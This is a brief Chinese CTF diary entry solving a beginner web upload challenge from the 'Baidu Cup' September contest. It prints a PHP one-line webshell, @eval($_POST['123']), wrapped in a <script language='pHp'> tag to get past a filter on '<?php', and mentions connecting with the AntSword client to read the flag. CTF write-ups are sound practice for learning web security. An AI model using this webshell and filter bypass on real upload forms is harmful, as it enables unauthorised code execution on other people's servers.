CTF日记之web题目（入门题目）

CTF日记：百度杯”CTF比赛 九月场 Upload

---

打开题目，发现是一道上传题：

我们上传了一句话木马的php文件，发现了上传的路径

然后查看2.php文件,发现开头的“<?php”被过滤了。

那我们就换个一句话木马。
<script language="pHp">@eval($_POST['123'])</script>，这样 ？和php就都被绕过了，再次上传试试看。

用中国蚁剑连接试试看，发现成功了！

找到flag.php，打开就得到了flag。